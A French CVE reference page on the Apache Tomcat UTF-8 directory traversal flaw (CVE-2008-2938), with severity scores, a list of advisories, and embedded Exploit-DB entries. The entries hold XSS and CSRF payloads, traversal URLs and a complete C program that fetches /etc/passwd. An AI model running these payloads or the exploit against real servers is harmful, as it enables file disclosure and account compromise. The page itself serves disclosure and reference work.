CVE-2008-2938 : Détail

CVE-2008-2938

Directory Traversal
A01-Broken Access Control
96.8%V3
Network
2008-08-12
22h00 +00:00
2020-02-13
15h07 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Directory traversal vulnerability in Apache Tomcat 4.1.0 through 4.1.37, 5.5.0 through 5.5.26, and 6.0.0 through 6.0.16, when allowLinking and UTF-8 are enabled, allows remote attackers to read arbitrary files via encoded directory traversal sequences in the URI, a different vulnerability than CVE-2008-2370. NOTE: versions earlier than 6.0.18 were reported affected, but the vendor advisory lists 6.0.16 as the last affected version.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 10085

Date de publication : 2009-11-06 23h00 +00:00
Auteur : Alberto Trivero
EDB Vérifié : Yes

&redirectSecure Network - Security Research Advisory Vuln name: ToutVirtual VirtualIQ Pro Multiple Vulnerabilities Systems affected: ToutVirtual VirtualIQ Professional 3.2 build 7882 Systems not affected: -- Severity: High Local/Remote: Remote Vendor URL: http://www.toutvirtual.com Author(s): Alberto Trivero (a.trivero (at) securenetwork (dot) it [email concealed]) Claudio Criscione (c.criscione (at) securenetwork (dot) it [email concealed]) Vendor disclosure: 02/07/2009 Vendor acknowledged: 16/07/2009 Vendor patch release: notified us on 06/11/2009 Public disclosure: 07/11/2009 Advisory number: SN-2009-02 Advisory URL: http://www.securenetwork.it/advisories/sn-2009-02.txt *** SUMMARY *** ToutVirtual's VirtualIQ Pro is specifically designed for IT administrators responsible for managing virtual platforms. VirtualIQ Pro provides Visibility, Analytics and policy-based Optimization - all from one single console. VirtualIQ Pro is hypervisor-agnostic supporting both Type I and Type II hypervisors. VirtualIQ Pro can be used to visualize, analyze and optimize your choice of virtualization platform - Citrix, Microsoft, Novell, Oracle and/or VMware. Multiple vulnerabilities has been found which a allow an attacker to conduct various XSS and CSRF attack, and other attacks due to the use of an old an not hardened version of the web server. *** VULNERABILITY DETAILS *** (a) Cross-site scripting (XSS) Due to an improper sanitization of user's input, multiple XSS attacks (reflective and stored) are possible. Reflective PoCs: http://server:9080/tvserver/server/user/setPermissions.jsp?userId=1"><sc ript>alert(1)</script>&resultResourceIds=111-222-1933email (at) address (dot) t [email concealed] st http://server:9080/tvserver/server/user/addDepartment.jsp?addNewDept=0&a mp;deptName=%22;alert(1);//&deptId=1&deptDesc=asd http://server:9080/tvserver/server/inventory/inventoryTabs.jsp?ID=1;aler t(1);// http://server:9080/tvserver/reports/virtualIQAdminReports.do?command=get Filter&reportName=%22%3E%3Cscript%3Ealert(1)%3C/script%3E Stored XSS attacks can be triggered in the "Middle Name" parameter in the "Edit Profile" page with an HTTP request like the following: POST /tvserver/user/user.do?command=save&userId=1 HTTP/1.1 Host: server:9080 Cookies: JSESSIONID=[...] userName=IQMANAGER&firstName=IQ&middleName=asd'; alert(document.cookie);//&lastName=MANAGER&email=user%40domain.it&passwo rd=********&retypePassword=********&redirect=null&passwordModifed=false& isReportUser=false&roleId=1&supervisorId=1&departmentId=1&locationId=1 (b) Cross-site request forgery (CSRF) An attacker can perform different types of CSRF attacks against a logged user. He can, for example, shutdown, start or restart an arbitrary virtual machine, schedule new activities and so on. The following HTTP request, if forged by the attacker and executed by the victim while logged on VirtualIQ, creates an arbitrary user: POST /tvserver/user/user.do?command=save&userId= HTTP/1.1 Host: server:9080 Cookie: JSESSIONID=[...] userName=asd1&firstName=asd2&middleName=asd3&lastName=asd4&email=asd5%40 asd.com&password=asd6&retypePassword=asd6=null&passwordModifed= false&isReportUser=false&roleId=1&supervisorId=1&departmentId=1&location Id=1 (c) Web server vulnerabilities VirtualIQ runs on top of an old version of Apache Tomcat: 5.5.9, for which multiple public vulnerabilities have been released. As a PoC, a directory traversal attack (CVE-2008-2938) can be performed as: http://server:9080/tvserver/server/%C0%AE%C0%AE/WEB-INF/web.xml Listing of an arbitrary directory (CVE-2006-3835) can also be obtained with the following PoC: http://192.168.229.85:9080/tvserver/server/;index.jsp (d) Information Leakage Tomcat status page should be disabled or restricted, being accessible at: http://status:9080/status Username and password to access a VM through SSH are also available in clear text in the configuration page. Since an XSS vulnerability can also be triggered in the same page, an attacker would also be able to easily capture the full credentials to access the VM with a specially crafted XSS payload. (e) Remote code execution JBoss JMX Management Console is exposed and can be used by remote attackers to execute arbitrary commands on the system: http://server:9080/jmx-console/ JBoss Web Console is exposed as well and can be used by remote attackers to execute any command on the system: http://server:9080/web-console/ *** EXPLOIT *** Attackers may exploit these issues through a common browser as explained above. *** FIX INFORMATION *** Upgrade to the latest version, at the moment 3.5 build 10.14.2009 *** WORKAROUNDS *** -- ********************* *** LEGAL NOTICES *** ********************* Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development. We are committed to open, full disclosure of vulnerabilities, cooperating whenever possible with software developers for properly handling disclosure. This advisory is copyright 2009 Secure Network S.r.l. Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. It may not be edited in any way without the express consent of Secure Network S.r.l. Permission is explicitly given for insertion in vulnerability databases and similars, provided that due credit is given to Secure Network. The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible. E-mail: securenetwork (at) securenetwork (dot) it [email concealed] GPG/PGP key: http://www.securenetwork.it/pgpkeys/Secure%20Network.asc Phone: +39 02 24 12 67 88 -- Claudio Criscione Secure Network S.r.l. Via Venezia, 23 - 20099 Sesto San Giovanni (MI) - Italia Tel: +39 02.24126788 Mob: +39 392 3389178 email: c.criscione (at) securenetwork (dot) it [email concealed] web: www.securenetwork.it
Exploit Database EDB-ID : 6229

Date de publication : 2008-08-10 22h00 +00:00
Auteur : Simon Ryeo
EDB Vérifié : Yes

Title: Apache Tomcat Directory Traversal Vulnerability Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com) Severity: High Impact: Remote File Disclosure Vulnerable Version: prior to 6.0.18 Solution: - Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org) - Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability. - Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release. References: - http://tomcat.apache.org/security.html - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938 History: - 07.17.2008: Initiate notify (To Apache Security Team) - 08.02.2008: Responsed this problem fixed and released new version - 08.05.2008: Notify disclosure (To Apache Tomcat Security Team) - 08.10.2008: Responsed with some suggestions. Description As Apache Security Team, this problem occurs because of JAVA side. If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as 'UTF-8', an attacker can obtain your important system files.(e.g. /etc/passwd) Exploit If your webroot directory has three depth(e.g /usr/local/wwwroot), An attacker can access arbitrary files as below. (Proof-of-concept) http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar # milw0rm.com [2008-08-11]
Exploit Database EDB-ID : 14489

Date de publication : 2010-07-27 22h00 +00:00
Auteur : mywisdom
EDB Vérifié : Yes

/*Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit c0d3r: mywisdom thanks for not being lame to change exploit author tis is one of my linux w0rm module for user enumerations, i've dual os worm thanks to: gunslinger,flyf666,petimati,kiddies,xtr0nic,c0mrade,n0te,v3n0m,iblis muda,cr4wl3r thanks to: isa m said, whitecyber thanks to all devilzc0de crews and members, all jasakom crews and members * EDB-ID: 6229 * CVE: 2008-2938 * OSVDB-ID: 47464 * Author: Simon Ryeo * Published: 2008-08-11 * Verified: Verified greetz to inj3ct0r crews: 31337 Inj3ct0r Members: cr4wl3r, The_Exploited, eidelweiss, SeeMe, XroGuE, agix, gunslinger_, Sn!pEr.S!Te, indoushka, Sid3^effects, L0rd CrusAd3r, Th3 RDX, r45c4l, Napst3r?, etc.. not so good but worth to try if our target directory structure has /usr/local/wwwroot */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <string.h> #include <netinet/in.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #define EXPLOIT "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\n\n" #define RCVBUFSIZE 9999 #define tester "root:x" void cls() { char esc = 27; printf("%c%s",esc,"[2J"); printf("%c%s",esc,"[1;1H"); } int main(int argc,char **argv) { if(argc<2) { /**checking argument to avoid memory wasting for useless variables in vma**/ cls(); printf("\nApache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit\n"); printf("\nc0d3r: mywisdom\n"); printf("\nusage:./tomcatevil hotname\n"); exit(1); } else { int port=80; char echobuf[RCVBUFSIZE]; int rval,sockfd, bytesrcv, totalbytes; struct hostent *he; struct sockaddr_in their_addr; if((he=gethostbyname(argv[1])) == NULL) { perror("\nSorry please recheck your target hostname !\n"); exit(1); } else { if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(1); } else { //exploiting and try to get /etc/passwd their_addr.sin_family = AF_INET; printf("\n[-]Checking whether port %d opens or not\n",port); their_addr.sin_port = htons(port); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero), '\0', 8); if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { perror("failed to connect !!!"); } else { printf("\n[+]Port 80 opens !!! now sending your exploit to our target\n"); if(send(sockfd, EXPLOIT,999,0)==-1) { perror ("send"); } else { totalbytes=0; while (totalbytes < RCVBUFSIZE) { if ((bytesrcv = recv(sockfd, echobuf, RCVBUFSIZE - 1, 0)) <= 0) { } else { totalbytes += bytesrcv; echobuf[bytesrcv] = '\0'; } totalbytes++; } } if(echobuf) { rval=strstr (echobuf, tester); if(rval) { printf(echobuf); printf("\n[+]w00t!!! target vulnerable! exploitation success u may see /etc/passwd above !!!\n"); exit(1); } else { printf(echobuf); printf("\n[-]target not vulnerable !!!\n"); exit(1); } } } close(sockfd); //eof exploiting } } } }

Products Mentioned

Configuraton 0

Apache>>Tomcat >> Version From (including) 4.0.0 To (including) 4.1.37

Apache>>Tomcat >> Version From (including) 5.0.0 To (including) 5.5.26

Apache>>Tomcat >> Version From (including) 6.0.0 To (including) 6.0.16

Références

http://secunia.com/advisories/37297
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2008-0862.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2008/2823
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/31982
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/31681
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/32120
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.kb.cert.org/vuls/id/343355
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/31865
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/31639
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id?1020665
Tags : vdb-entry, x_refsource_SECTRACK
http://www.mandriva.com/security/advisories?name=MDVSA-2008:188
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2009/0320
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2008-0864.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2008/2343
Tags : vdb-entry, x_refsource_VUPEN
https://www.exploit-db.com/exploits/6229
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/30633
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/32222
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/31891
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/33797
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/4148
Tags : third-party-advisory, x_refsource_SREASON
http://www.vupen.com/english/advisories/2008/2780
Tags : vdb-entry, x_refsource_VUPEN
http://marc.info/?l=bugtraq&m=123376588623823&w=2
Tags : vendor-advisory, x_refsource_HP
http://support.apple.com/kb/HT3216
Tags : x_refsource_CONFIRM
http://marc.info/?l=bugtraq&m=123376588623823&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/32266
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2008-0648.html
Tags : vendor-advisory, x_refsource_REDHAT